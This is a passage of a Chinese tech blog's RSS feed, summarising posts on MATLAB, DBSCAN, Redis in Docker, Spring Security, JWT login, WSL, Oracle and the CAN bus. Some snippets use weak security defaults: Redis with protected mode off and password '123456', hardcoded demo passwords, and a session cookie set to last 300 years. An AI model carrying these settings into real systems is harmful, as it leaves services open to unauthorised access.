[Target_score,Target_pos,PSO_cg_curve]=BPSO(SearchAgents_no,Max_iteration,dim,trainData,testData,trainlabel,testlabel,labels); % final evaluation for PSO tuned selected features [predictedLables_PSO,accuracy_PSO,~]=GRNN(Target_pos,trainData,testData,trainlabel,testlabel,labels,dim); %% % plot for Predicted classes figure(1) plot(testlabel,&#39;ko&#39;,&#39;markersize&#39;, 8) hold on plot(predictResult,&#39;b*&#39;,&#39;markersize&#39;, 8) xlabel(&#39;测试集样本&#39;); ylabel(&#39;类别标签&#39;); legend(&#39;实际测试集分类&#39;,&#39;全部特征下GRNN预测分类&#39;); title(&#34;</description>
    </item>
    <item>
      <title>毫米波雷达点云 DBSCAN聚类算法</title>
      <link>https://bchobby.github.io/posts/58da7597246d70b5f98fec1c460a557f/</link>
      <pubDate>Sun, 28 May 2023 20:01:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/58da7597246d70b5f98fec1c460a557f/</guid>
      <description>毫米雷达点云 DBSCAN聚类算法 聚类的目的聚类算法分类原型聚类层次聚类密度聚类 DBSCAN聚类算法原理相关定义算法流程以及伪代码DBSCAN算法优缺点DBSCAN参数选择聚类衡量指标 DBSCAN算法仿真DBSCAN代码DBSCAN算法对毫米波雷达点云数据进行聚类 聚类的目的 聚类的目的是将一组数据点划分为具有相似特征或属性的组或簇。通过聚类分析，我们可以识别出数据中的内在模式、结构和关联关系，从而获得对数据的更深入理解。&#xA;具体来说，聚类的目的可以分为以下三部分：&#xA;发现数据的内在结构：&#xA;聚类可以将数据分成簇，这些簇可能表示数据的不同模式、集群或分布。通过将相似的数据点放在同一簇中，我们可以揭示数据的内在结构和组织方式。&#xA;数据预处理&#xA;通过将数据分成不同的簇，可以减少数据的复杂性和噪声，提取关键特征，并简化后续的数据分析任务。（比如形状特征）&#xA;异常点剔除&#xA;聚类算法可以帮助我们识别和排除异常点或噪声数据。这些异常点可能是数据中的异常值、离群点或错误数据，对于准确的分析和建模是有害的。&#xA;聚类算法分类 现有的聚类算法可以大致分为三种，分别是&#xA;原型聚类(Prototype-based clustering)-层次聚类 (Hierarchical clustering)密度聚类 (Density-based clustering) 原型聚类 该类算法的主要思想为根据给定的划分集合个数 K，将所有数据对象分配到K个集合中，每个集合中各个数据对象到本身集合中心点相似度最高相对于其他集合中心对象。 该算法主要通过迭代的方式得到最优的聚类中心点和各个聚类集合，主要适用于球状簇的发现。 常用的划分聚类算法 K-means、 CLARANs、 CLARA、PAM 等。 在数据挖掘领域被广泛应用，但是这些算法都要求在聚类之前就确定输出的簇的数量。对于汽车雷达来说，也就是要求在聚类之前就确定目标的数量，这显然是无法做到的，因为汽车雷达无法确定当前的目标数量是多少。&#xA;层次聚类 层次聚类尝试在不同层次对数据集进行划分，从而形成树形的聚类结构。层次聚类可以采用“自下而上”的聚类策略，也可以采用“自上而下”的聚类策略。AGNES 方 法 (AGglomerative NESting)是一种常用的“自下而上”的层次聚类算法。然而这种算法面临和原型聚类相同的问 题，也需要在聚类之前确定输出的簇的数量，因此也无法直接应用到汽车雷达上，因此就只剩下了密度聚类。&#xA;密度聚类 密度聚类(Density-based clustering)没有其它两种聚类的限制，不需要事先确定簇的数量。密度聚类假设簇的 结构能通过目标点分布的紧密程度来确定。在密度聚类中，簇被认为是数据空间中目标点密集的区域，在簇之间出 现的低密度的目标点被认为是噪声. 这些簇可以有任意的形状，并且簇内的目标点也可以任意分布，这一点和汽车 雷达上的检测目标特性十分接近。汽车雷达对应同一个目标的检测点之间距离接近，并且这些点的密度分布是一定 的（这个密度分布和物体的反射特性相关）。因为具备以上这些特性，密度聚类更加适合于汽车雷达的应用，DBSCAN 算法（Density-Based Spatial Clustering of Applications with Noise）是一种常用的密度聚类算法。&#xA;DBSCAN聚类算法原理 相关定义 DBSCAN是一种基于密度的聚类算法，这类密度聚类算法一般假定类别可以通过样本分布的紧密程度决定。同一类别的样本，他们之间的紧密相连的，也就是说，在该类别任意样本周围不远处一定有同类别的样本存在。&#xA;DBSCAN是基于一组邻域来描述样本集的紧密程度的，参数(ϵ, MinPts)用来描述邻域的样本分布紧密程度。其中，ϵ描述了某一样本的邻域距离阈值，MinPts描述了某一样本的距离为ϵ的邻域中样本个数的阈值。&#xA;给出算法中用到的定义：&#xA;● ϵ领域：对于 x j ∈ D x_j \in D xj​∈D，其ϵ-邻域包含样本集D中与xj的距离不大于ϵ的子样本集，即 N ϵ ( x j ) = { x i ∈ D ∣ d i s t a n c e ( x i , x j ) ≤ ϵ } N_{\epsilon}(x_j) = \{x_i \in D | distance(x_i,x_j) \leq \epsilon\} Nϵ​(xj​)={xi​∈D∣distance(xi​,xj​)≤ϵ}，这个子样本集的个数记为 ∣ N ϵ ( x j ) ∣ |N_{\epsilon}(x_j)| ∣Nϵ​(xj​)∣。</description>
    </item>
    <item>
      <title>【2023年电工杯数学建模竞赛】选题分析&#43;A题B题完整思路&#43;代码分享</title>
      <link>https://bchobby.github.io/posts/a6b6607bfd53b368415e555a18e54abc/</link>
      <pubDate>Sun, 28 May 2023 12:28:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a6b6607bfd53b368415e555a18e54abc/</guid>
      <description>2023年电工杯B题（附带ChatGpt思路）思路已更新，请点击一下链接 【2023年电工杯数学建模竞赛B题人工智能对大学生学习影响的评价】完整思路分析+完整代码+（附带ChatGpt思路）&#xA;1.竞赛介绍 2.本次大赛选题分析 首先大家要清楚获奖只和比例有关，和具体题目关系不大，不会出现选难题就比简单题获奖率高很多的情况出现，这是一个选拔性质的比赛是按照比例来的&#xA;2.1 2023年电工杯A题选题解析 这道题一眼看上去就很复杂，很多大一大二的学生还没学完微分方程就让求稳态解了，所以还是不建议新手直接上手这道题。这道题适合相关研究方向的专业人士以及想挑战难题的同学。&#xA;这道题设计的专业知识包括热力学，热传导方程，凝聚态物理，电荷计算，功率调节和优化，整体专业性很强。建议选择这道题的同学也别想着做出所有问，能解决两三问，然后专注于完成论文差不多就能获奖了。总之难题的话大家都难，最后还是按照比例，还是看谁在有限时间内做的更好。&#xA;2.2 2023年电工杯B题选题解析 这道题相对容易，适合新手上手。但是想做好并且获奖还是需要下功夫的。简单的题选的人肯定多，怎么做出彩是必须要考虑的事情。&#xA;这道题涉及数据处理，数据可视化分析，评价指标体系建立，综合评价模型建立以及最后的分析报告。综合评价方法尽量不要使用层次分析法这种主观赋权法，考虑客观权重法，比如主成分综合评价，变异系数法等等。&#xA;博主这次先做B题稍后会分享B题解题思路和完整代码，可以先关注&#xA;3.选题思路 其实很多带专业背景的题目，最后通过抽象成数学模型就是上述三类问题。比如图像类问题，很多时候要么抽象成优化模型来求解，要么就是机器学习模型来训练识别。那我就从三类题型来说明一些基本的模型：&#xA;优化类：优化类问题基本没有可以直接套的模型，很多问题都需要自己来写出优化目标和约束条件。或者参考相关文献来设计模型。并且如果模型设计的复杂了，还需要自己设计优化求解算法。。。总之，优化问题是很难得。基本的优化模型包括：线性规划，整数规划，01背包，非线性规划（建模赛题基本都是非线性的。。。哈哈哈），最小二乘优化。基本求解算法包括:牛顿迭代，拟牛顿，梯度下降，共轭梯度下降，各种智能寻优算法等等。总而言之，优化就是难啊难，而且优化建模题基本上都有答案范围，模型建的不好，解的不好都over。。。&#xA;评价类：评价类问题，一般都有可以套用的方法，比如主观一些的：层次分析法，模糊评价法。客观计算权重的（需要数据）：熵权法，TOPSIS综合评价法，主成分权重法。对于评价类问题最好还是用客观计算权重的方法。&#xA;数据类：上面两类问题可以说是建模竞赛以往的常规类型，数据类问题是最近几年随着人工智能，数据挖掘技术的热潮带起来的。。。可以说，数据类问题在以后的建模比赛中只会越来越多，而且数据量也会越来越大。&#xA;建议新手规避优化题，因为你很难做好，做出彩&#xA;3.获奖经验分享 数学建模百分百获奖经验分享&#xA;4.代码分享 站内链接，谢谢审核&#xA;2023年电工杯B题完整代码+结果</description>
    </item>
    <item>
      <title>docker安装redis</title>
      <link>https://bchobby.github.io/posts/758b45e50455248eaab8010c45fe2450/</link>
      <pubDate>Sun, 28 May 2023 12:07:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/758b45e50455248eaab8010c45fe2450/</guid>
      <description>1.查询redis的docker镜像 docker search redis 2，下载所需镜像 docker pull redis 默认是下载最新镜像，如果对版本有要求：&#xA;docker pull redis： &amp;lt;版本号&amp;gt;，例如我下载的是6.2.4版本：&#xA;docker pull redis:6.2.4 3，创建挂载路径： mkdir -p /data/redis/conf 创建redis的配置文件挂载路径&#xA;mkdir -p /data/redis/data 创建redis数据挂载路径&#xA;4，以配置文件启动redis，配置redis配置文件 配置文件最好跟自己的redis版本对应，不然在启动的时候可能会报各种参数不存在等问题，配置文件可以去下载：&#xA;https://redis.io/docs/management/config/&#xA;如果跟我的版本相差不大，可以用我的这个配置文件参数：&#xA;#bind 192.168.1.100 10.0.0.1 #bind 127.0.0.1 ::1 #bind 127.0.0.1 protected-mode no port 6379 tcp-backlog 511 #设置的密码 requirepass 123456 timeout 0 tcp-keepalive 300 daemonize no supervised no pidfile /var/run/redis_6379.pid loglevel notice logfile &#34;&#34; databases 30 always-show-logo yes save 900 1 save 300 10 save 60 10000 stop-writes-on-bgsave-error yes rdbcompression yes rdbchecksum yes dbfilename dump.</description>
    </item>
    <item>
      <title>当下的程序员该如何面对复杂的就业坏境</title>
      <link>https://bchobby.github.io/posts/343552a53e3f22bfbd1428c1755cafbe/</link>
      <pubDate>Sat, 27 May 2023 22:18:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/343552a53e3f22bfbd1428c1755cafbe/</guid>
      <description>已经2023年了，我们都知道现在开发趋向于年轻化，大部分都是90后、95后，毕竟，软件开发不像硬件开发一样，年限越高，相对来说越吃香。&#xA;31岁,前端工程师，工作经历8年，7年左右都在外包公司，1年左右在创业公司。&#xA;经常能在网上听到一些某某公司清退一些35岁以上人员，特意百度查了一下30岁程序猿的出路，发现知乎上有这么一个话题，“30岁以上的程序员该何去何从？”&#xA;100多w的阅读量，说明越来越多的程序猿都在关注这个话题。&#xA;我总结了几点：&#xA;1.了解最新的新技术 技术的更新是很快的，例如，以前那时候，几乎后台的面试要求都是springmvc，前端面试就是css+html+js，&#xA;后端现在要求springboot+springcloud，而前端也变成需要懂小程序、h4、vue等等。&#xA;2.深入底层源码学习 技术更新换代是很快，但是，每一个技术，都是借鉴某个技术的思想，或者在某个技术上衍生出来的，例如springboot是方便，&#xA;但是，这些技术给我们带来便利的同时，如果不对他底层有所了解，遇到问题，你也会很被动，应该知其然而知其所以然。&#xA;3.保持一颗谦虚的心,须知人外有人 可以去参加一些技术大会，也可以进一些技术群，社长，在写博客过程中，就认识了不少技术大佬，记得诚、扬帆向海、第三女神程忆难&#xA;4.形成适合自己的学习方法 技术是学不完的，我们在学习的过程中，应该形成一套自己的学习方法。我们的学习方法，就是看某个技术点的视频，&#xA;针对某个技术点，再具体去看一些博客，看看大家都是如何理解的，以便自己更好的理解融会贯通。过一段时间，再回把这部分知识点，&#xA;总结起来，通过写博客的方式，分享出来。因为，不时会有一些大佬给你评论，提出自己的一些观点，这样形成一个技术的交流，对技术会有提升。&#xA;5.想好以后的方向 需要注意几个时间节点，刚刚出学校的时候，有能力尽量去大厂，当然前提是保证自己能生存下来。实际上，&#xA;也遇到一些，自己找事都有点困难的人，还挑三拣四，瞧不起去外包，不想去外包这种公司，或者小一点的公司。&#xA;个人建议：&#xA;一般大约毕业，正常应该是22岁左右，大家都是成年人，也有自己的思想，出了校门，就不要找父母了，自己自食其力，有工作先做着，&#xA;在工作之余，提升自我。先保证自己在社会上能生存，再谈一些其他的。&#xA;3-4年的时候，这个时候的我们，应该好好考虑一下，以后个人的一个职业发展方向了，是向技术方法发展，还是管理方向发展。&#xA;6.知识付费 在我们技术有一点阶段后，就可以实现知识付费，开通付费专刊，还有人录制视频教程。&#xA;7良好的体魄 好的体魄，你才能更好的学习，这是一些的前提，所以有时间还是得好好锻炼，&#xA;实际上，程序猿这个职业，就决定了我们，可能避免不了加班，但是，我们应该适量，把握好度，看一看网上那些关于程序猿的新闻，所以，我们应该有所警惕，保证身体，有时间就锻炼一下。&#xA;总结：&#xA;各行各样都会淘汰一些能力差的，不仅仅是IT这个行业，所以，不要被程序猿是吃青春饭等等这类话题所吓倒，也不要觉得，找到一份工作，就享受安逸的生活，&#xA;你在安逸的同时，别人正在奋力的向前跑，这样与别人的差距也就会越来越遥远，加油，希望，我们每一个人，成为更好的自己。</description>
    </item>
    <item>
      <title>spring boot 权限管理的几种方式</title>
      <link>https://bchobby.github.io/posts/dec9d20217eeedb249fa5d3c9862a239/</link>
      <pubDate>Sat, 27 May 2023 22:12:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/dec9d20217eeedb249fa5d3c9862a239/</guid>
      <description>Spring Boot 提供了多种权限管理方式，以下是几种常见的方法，以及相应的示例：&#xA;基于角色的访问控制（Role-Based Access Control，RBAC） 在基于角色的访问控制中，权限分配给角色，然后将角色分配给用户。这种方法简化了权限管理，因为您只需要管理角色和用户之间的关系。&#xA;示例：使用 Spring Security 实现 RBAC&#xA;1.1. 添加 Spring Security 依赖项到 pom.xml：&#xA;&amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.boot&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-boot-starter-security&amp;lt;/artifactId&amp;gt; &amp;lt;/dependency&amp;gt; 1.2. 创建一个 SecurityConfig 类，继承 WebSecurityConfigurerAdapter，并配置角色和权限：&#xA;@Configuration @EnableWebSecurity public class SecurityConfig extends WebSecurityConfigurerAdapter { @Override protected void configure(HttpSecurity http) throws Exception { http.authorizeRequests() .antMatchers(&#34;/admin/**&#34;).hasRole(&#34;ADMIN&#34;) .antMatchers(&#34;/user/**&#34;).hasAnyRole(&#34;ADMIN&#34;, &#34;USER&#34;) .antMatchers(&#34;/&#34;).permitAll() .and().formLogin(); } @Override protected void configure(AuthenticationManagerBuilder auth) throws Exception { auth.inMemoryAuthentication() .withUser(&#34;admin&#34;).password(passwordEncoder().encode(&#34;admin123&#34;)).roles(&#34;ADMIN&#34;) .and() .withUser(&#34;user&#34;).password(passwordEncoder().encode(&#34;user123&#34;)).roles(&#34;USER&#34;); } @Bean public PasswordEncoder passwordEncoder() { return new BCryptPasswordEncoder(); } } 基于属性的访问控制（Attribute-Based Access Control，ABAC） 在基于属性的访问控制中，权限是基于用户、资源和环境属性的。这种方法提供了更细粒度的权限控制，但可能更难管理。</description>
    </item>
    <item>
      <title>matlab 让数组每个元素重复出现</title>
      <link>https://bchobby.github.io/posts/a39d3cf78e166c91c6174e3124ee11c1/</link>
      <pubDate>Sat, 27 May 2023 14:36:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a39d3cf78e166c91c6174e3124ee11c1/</guid>
      <description>直接使用repelem或者利用函数repmat和 reshape&#xA;1.repelem 重复数组元素副本 u = repelem(v,n)，返回一个重复 v 中元素的向量，其中 v 是一个标量或向量。&#xA;B = repelem(A,r1,...,rN)，将 A 中的每个元素依 r1,...,rN 进行重复，返回一个数组。&#xA;举例：&#xA;a=[1 2 3]; u = repelem(a,2); &amp;gt;&amp;gt; u u = 1 1 2 2 3 3 2.&#xA;repmat 矩阵的复制排列 B=repmat(A,n):返回B是一个n*n块大小的矩阵，每一块矩阵都是A&#xA;B=repmat(A,m,n):返回值是由m*n个块组成的大矩阵，每一个块都是矩阵A。&#xA;B=repmat(A,[m,n,p,…]):返回值B是一个多维数组形式的块，每一个块都是矩阵A&#xA;reshape 将矩阵重排： reshape(M, m, n)将矩阵M重排成m * n&#xA;举例： a = [1 2 3 ]; repeat = 2; % 要重复几次就写几 tmp = repmat(a, repeat, 1); b=reshape(tmp, 1, length(a)*repeat); b &amp;gt;&amp;gt; b b = 1 1 2 2 3 3 matlab如何让数组每个元素重复出现？_百度知道 (baidu.</description>
    </item>
    <item>
      <title>全面SOA化的电子电气架构是什么样？</title>
      <link>https://bchobby.github.io/posts/d1c6ea0423d888ca7308d1e6d76b2380/</link>
      <pubDate>Sat, 27 May 2023 12:54:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d1c6ea0423d888ca7308d1e6d76b2380/</guid>
      <description>交流群 | 进“传感器群/滑板底盘群/汽车基础软件群/域控制器群”请扫描文末二维码，添加九章小助手，务必备注交流群名称 + 真实姓名 + 公司 + 职位（不备注无法通过好友验证）&#xA;作者 | 张萌宇&#xA;在汽车产业向智能化转型的过程中，汽车的开发模式、消费者对车的认知，以及汽车销售的商业模式都在发生着颠覆性的改变。传统的电子电气架构已经越来越无法适应现如今消费者对汽车智能化的要求。&#xA;工程师在传统电子电气架构上开发新功能时，耗时长且迭代难，此外，工程师在开发时还需要考虑种种限制条件并且要针对不同车型做定制化开发。&#xA;△传统电子电气架构的痛点&#xA;为避免上述问题，越来越多的车企倾向于选择区域接入+中央计算的SOA架构。华为在这次上海车展前夕发布的iDVP智能数字底座，便是这样一套满足区域接入+中央计算标准的SOA架构。&#xA;1. 华为iDVP智能汽车数字底座的结构与预期功能&#xA;△整车层次示意图&#xA;在底盘等机械硬件之上，华为将整车分为几个层次，从下往上依次为硬件平台、软件平台、应用生态以及车云，如上图所示。&#xA;iDVP包含硬件平台和软件平台两部分，其中，硬件平台是指计算与通信架构基础硬件平台，软件平台又分为操作系统、基础管理框架以及SOA软件框架。为方便用户在iDVP上开发软件，华为还开发了配套的工具链，如下图所示：&#xA;△iDVP结构示意图&#xA;1.1&#xA;计算与通信架构硬件平台&#xA;计算和通信架构平台负责设计车辆的计算和通信方式，目前主要包括星型组网和以太环网，如下图所示：&#xA;△ 通信架构示意图&#xA;VDC代表智能车控域控制器，MDC代表智能驾驶域控制器，CDC代表智能座舱域控制器。域控制器可以通过VIU连接到传感器和执行器。&#xA;在星型组网中，VDC通过以太网和分布于车身的VIU相连，从而控制车身上的传感器和执行器，MDC和CDC通过连接VDC来控制传感器和执行器。&#xA;在以太环网中，各个域控制器和VIU均通过以太网有直接的连接，并且VIU可以组成一个环状网络，某一段网络断掉时还有备份路线，通信的可靠性和安全性更能得到保障。&#xA;1.2&#xA;操作系统&#xA;操作系统包括VOS和AOS。&#xA;VOS：智能车控操作系统，可以支持存量应用平滑地从CP向AP迁移，并且可以在多核部署的同时保证应用对多核无感知，还支持数字孪生和整车OTA。&#xA;AOS：智能驾驶操作系统，支持车规级安全，具备丰富的AI原生开发库，可以提高模型化仿真、验证、智能驾驶开发的效率。&#xA;1.3&#xA;SOA软件框架&#xA;SOA软件框架包括了设备抽象层和原子服务层，方便用户在iDVP上开发软件。&#xA;根据4月16日华为智能汽车解决方案发布会上的信息，华为的SOA架构涵盖了车身域、动力域、底盘域、智能驾驶域，以及热管理域，相关的应用均可以在SOA架构下实现。&#xA;1.3.1 设备抽象层&#xA;据华为方面的设计理念，设备抽象层对传感器、执行器、Legacy ECU 等硬件资源进行抽象，通过API向上为服务提供设备访问接口，屏蔽设备功能实现差异（硬件差异&amp;amp;厂家差异），减少定制化与重复劳动。工程师在开发相关功能时，不用考虑硬件设备的电气参数差异，直接调用相应接口即可。&#xA;例如，当工程师需要调用电机时，只需要输入“转动方向”，“转速”的参数，然后调用电机的接口就可以实现对电机的控制，而无需了解及考虑电机的控制电气信号差异性。&#xA;根据4月16日华为智能汽车解决方案发布会上的信息，目前，华为已经开发了符合中汽协SDV标准的300+个设备抽象API。设备抽象服务涵盖了车身域、热管理域、动力域、底盘域等，而可以提供抽象服务的设备包括了电机、按钮开关、继电器、车灯、温度传感器等各类执行器和传感器。&#xA;△SDV设备抽象API&#xA;1.3.2 原子服务&#xA;原子服务将硬件设备的基础动作封装成API，从而给上层应用提供最基本的操作单元。如此一来，硬件设备和软件端口就可以实现解耦。例如，调整车窗的车窗开度，打开车窗，关闭车窗，停止开启或关闭车窗，在原子服务里都会根据基础操作封装成一个个接口。&#xA;根据4月16日华为智能汽车解决方案发布会上的信息，目前，华为已经开发了符合中汽协SDV标准的400+个原子服务API，服务涵盖了车身控制、交互域、运动控制、能量管理、智能驾驶域等各个方面，包括了车门服务、雾灯服务、通风服务、座舱温控等各类服务，方便工程师在开发软件时调用。&#xA;△SDV原子服务&#xA;1.4&#xA;基础管理框架&#xA;基础管理框架主要负责分布式通信、整车OTA、功能安全、诊断等基本功能。&#xA;1.5&#xA;工具链&#xA;工具链可以提供车辆软件开发过程中的工具，匹配软件开发工作流程。&#xA;按照工作流程，工具链产品可分为：整车级架构设计工具——包括iDVP API服务定义库、iDVP SWC工程库、iDVP网络拓扑库等，主要用于整车级的服务化设计；然后是模型化开发工具——包括iDVP底软配置工具包、iDVP行为模型库等，主要用于模型化开发与配置；最后是数字底座仿真器——包括时序分析工具等，主要用于整车级的服务化验证。&#xA;△iDVP工具链&#xA;2. iDVP的优势&#xA;在4月16日的华为智能汽车解决方案发布会上，iDVP被称为是软件定义汽车的“黑土地”，在软件定义汽车时代，iDVP可以大幅提升软件开发的效率，平衡用户体验的基础一致性和个性化。那么，iDVP有哪些优势呢？&#xA;2.1&#xA;区域接入+中央控制架构，提升架构灵活性&#xA;iDVP采用区域接入+中央控制的架构。在这样的架构下，整车ECU可以减少20～30个，节省约50w的功耗。&#xA;△iDVP典型架构</description>
    </item>
    <item>
      <title>【SpringBoot】1、SpringBoot整合JWT实现Token验证</title>
      <link>https://bchobby.github.io/posts/ee43b8dbd0562ef313f42c86bb60a7ab/</link>
      <pubDate>Fri, 26 May 2023 20:43:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ee43b8dbd0562ef313f42c86bb60a7ab/</guid>
      <description>这里写目录标题 1.单点登录1.1 单系统登录1.1.1 单系统登录流程(使用Session实现单系统登录) 1.2 多系统(单点)登录1.2.1 单点登录实现方案1.2.1.1 Session跨域1.2.1.2 Spring Session共享 1.3 Token机制1.3.1 传统身份认证1.3.2 基于Token的身份认证 1.4 JWT机制1.4.1 JWT数据结构1.4.1.1 header1.4.1.2 payload1.4.1.3 signature 1.4.2 JWT执行流程1.4.3 JWT代码案例 1.单点登录 单点登录(Single Sign On), 简称为SSO, 是目前比较流行的企业业务整合的解决方案之一.&#xA;SSO的定义:在多个应用系统中, 用户只需要登录一次就可以访问所有相互信任的应用系统, 企业间需要相互授信&#xA;1.1 单系统登录 众所皆知, HTTP是无状态的协议, 这意味着服务器无法确认用户的信息。 于是乎，W3C就提出了：给每一个用户都发一个通行证，无论谁访问的时候都需要携带通行证，这样服务器就可以从通行证上确认用户的信息。通行证就是Cookie。&#xA;如果说Cookie是检查用户身上的”通行证“来确认用户的身份，那么Session就是通过检查服务器上的”客户明细表“来确认用户的身份的。Session相当于在服务器中建立了一份“客户明细表”。&#xA;1.1.1 单系统登录流程(使用Session实现单系统登录) 一、登录&#xA;用户登录成功后, 通过request获取Session(本质是根据Cookie中携带的JSESSIONID寻找Session)&#xA;如果没有携带JSESSIONID或者JSESSIONID找不到Session, 说明用户未登录, 此时将用户信息保存到Session对象中(默认会以Cookie方式向客户端返回JSESSIONID, 但此JSESSIONID是会话级别的)如果Session能找到, 说明当前用户已经登录 二、记住我(关闭掉浏览器后，重新打开浏览器还能保持登录状态)&#xA;因为默认返回的JSESSIONID是会话级别的, 我们可以手动为Cookie中添加JSESSIONID信息，设置Cookie的过期时间, 此时不管你的浏览器是否关闭，Cookie中都会携带JSESSION信息&#xA;//登录成功后，手动添加cookie，保存JSESSIONID信息 Cookie cookie = new Cookie(&#34;JSESSIONID&#34;, session.getId()); //300年后过期(永久有效) cookie.setMaxAge(60 * 60 * 24 * 30 * 12 * 300); //设置cookie 和 session生命周期同步.</description>
    </item>
    <item>
      <title>win11配置Linux子系统，并打造Linux开发环境</title>
      <link>https://bchobby.github.io/posts/3de97c451bf6c076af50842ab524e5dc/</link>
      <pubDate>Fri, 26 May 2023 17:20:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3de97c451bf6c076af50842ab524e5dc/</guid>
      <description>概述 对于程序员来说接触linux系统是必不可少的，即使我们在本地开发调试的时候是在window进行，但是实际上部署运行大概率是会在Linux机器，所以在Liunx环境下学习或者进行开发调试是必要的。本文主要是教新手如何在自己window系统电脑上如何多配置一个Linux子系统，并打造Linux开发环境&#xA;1.安装&amp;amp;运行Ubuntu 1.wsl安装Ubuntu # 打开PowerShell 执行命令&#xA;wsl --update (系统自动为你的电脑下载一个适配linux环境)&#xA;# 安装Ubuntu&#xA;wsl --install Ubuntu&#xA;# 查看是否安装成功 wsl --status&#xA;2.运行Ubuntu PowerShell命令&#xA;# 打开PowerShell执行命令&#xA;wsl 其实Ubuntu系统和我们的window系统是公用的一个系统 /mnt是共享目录，/mnt目录下是电脑的c盘，这种方式进入会进到我们当前的目录&#xA;运行Ubuntu.exe&#xA;按照图上操作，会进入Ubuntu系统用户的家目录&#xA;2.更新Ubuntu镜像源 先备份下原有镜像源文件&#xA;更新文件内容&#xA;我使用的是阿里的镜像源，在阿里云搜索Ubuntu找到对应的镜像源，复制粘贴就行了&#xA;更新apt sudo apt-get update&#xA;# 使用 apt-get 下载c语言环境&#xA;sudo apt-get install gcc&#xA;安装的linux子系统自带python环境，应该都是python3，也可以自己下载其他的版本输入命令就可以进入python环境&#xA;python3 其他的环境依赖工具也是类似的方法&#xA;sudo apt-get install g++ (下载c++的依赖)sudo apt-get install gdb (调试工具) 在window机器上搭建Linux环境并且简单打造linux开发环境就做好了</description>
    </item>
    <item>
      <title>Oracle表信息查询</title>
      <link>https://bchobby.github.io/posts/ccabb808fcfe4fadae6c86aef7083c4e/</link>
      <pubDate>Fri, 26 May 2023 12:55:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ccabb808fcfe4fadae6c86aef7083c4e/</guid>
      <description>SELECT * FROM USER_TABLES 查看当前用户下的表&#xA;SELECT * FROM DBA_TABLES 查看数据库中所有的表&#xA;SELECT CREATED,LAST_DDL_TIME from user_objects where object_name=upper(&#39;表名&#39;)&#xA;SELECT CREATED, LAST_DDL_TIME&#xA;FROM USER_OBJECTS&#xA;WHERE OBJECT_NAME = &#39;PDCA_NEW_REPAIR&#39;;&#xA;其中CREATED 为创建时间 ,LAST_DDL_TIME为最后修改时间&#xA;持续更新。。。</description>
    </item>
    <item>
      <title>CAN总线要点总结（CAN2.0A/B）</title>
      <link>https://bchobby.github.io/posts/185ec3ecf8b272c16fea32d01fa10135/</link>
      <pubDate>Fri, 26 May 2023 11:08:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/185ec3ecf8b272c16fea32d01fa10135/</guid>
      <description>前言 工作也有几年了，在项目中也接触过几次CAN总线，但总是止步于会用即可，对于很多细节上的东西有时还是稀里糊涂的状态，这几天正好有点时间，因此整理了这篇文章来对自己的CAN总线知识体系查漏补缺。&#xA;发展历史 1986年发布CAN1.0。1991年博世发布CAN2.0规范，分为CAN2.0A(11位标识符)和CAN2.0B(11+18=29位标识符)。1993年ISO组织发布ISO11898规范： ISO11898-1 涵盖数据链路层。ISO 11898-2 涵盖高速CAN的CAN物理层（经典CAN速度1Mbps，CAN FD 5Mbps）。ISO 11898-3 涵盖低速、容错CAN的物理层（速度125kbps）。后续推出ISO 11898-4 -5 和-6标准。 2012年博世发布CAN FD 1.0（速度2Mbps，使用加强版CAN PHY的CAN FD-SiC可以做到5-8Mbps）。2018年发布第三代CAN数据链路层协议CAN XL，速度提升至10Mbps，兼容CAN FD。 电气特性 总线与总线上各个节点使用双绞线连接，两端各自端接120Ω，1/2W电阻。&#xA;差分通信，总线执行逻辑线与机制（为后续冲突仲裁服务），显性电平为0，隐性电平为1。在物理层上目前主流有两种标准。&#xA;理论通信速率VS最大长度（以经典CAN为例，所有节点应该使用同一速率）。&#xA;速度长度1Mbps40m500kbps100m250kbps200m125kbps500m10kbps6km 总线拓扑 Tips: 如果手头没有收发器，但是又想对CAN应用进行简单验证，可以考虑如下方法，此方法适用于CAN2.0A/B，后续实际采集的波形，都是按这种方法采集的：&#xA;CAN协议报文 1、数据帧 数据帧在物理层的实际样子，这里以CAN2.0A为例子（这里可以发现每当出现连续的5个相同bit，则需要填充一个相反的bit作为stuff bit，此规则不适用于CRC段和其后的段）：&#xA;CAN2.0A数据帧和CAN FD数据帧对比：&#xA;这里有个地方我觉得是有问题的，IFS&#xA;CAN2.0A/B数据帧构成说明：&#xA;CAN2.0A为标准帧，CAN2.0B为拓展帧，两者主要差异在于仲裁段不同。上图灰色部分固定为显性(0)，白色部分固定为隐性(1)，蓝色部分的电平状态根据数据而定，ACK位的图示表示TXD输出隐形，同时RXD接收显性输入。&#xA;以下表格说明标准帧的各部分组成：&#xA;隶属段缩写长度说明帧起始SOF（Start of Frame）1固定为显性(0)仲裁段ID（Identifier）11基本ID，越小优先级越高，禁止高7位都为隐性，即禁止ID=1111111XXXX仲裁段RTR1远程传输请求位，在数据帧中固定为显性(0)，同ID数据帧优先于远程帧控制段IDE1拓展帧标记，在标准帧中固定为显性(0)控制段r01保留位，固定为显性(0)控制段DLC4数据段长度，CAN2.0A/B中允许长度为0~8数据段Data0~64数据长度由DLC指定，支持0~8字节CRC段CRC15CRC校验值CRC段CRC界定符1用于分隔CRC和ACK段，固定输出1位隐性(1)ACK段ACK Slot1发送节点输出隐性(1)，同时接收接收节点发送的显性(0)ACK段ACK界定符1同CRC界定符，分隔ACK段与后续段，固定输出隐性(1)帧结束EOF7固定输出7位隐性(1)可以看到，由于RTR位的存在，相同ID的数据帧和遥控帧（远程帧）同时发送时，总是数据帧赢得仲裁&#xA;CAN2.0B拓展数据帧只是仲裁段和控制段有差异，这里说明拓展数据帧的仲裁段和控制段：&#xA;隶属段缩写长度说明仲裁段ID（Identifier）11基本ID，越小优先级越高，禁止高7位都为隐性，即禁止ID=1111111XXXX仲裁段SRR1Substitute Remote 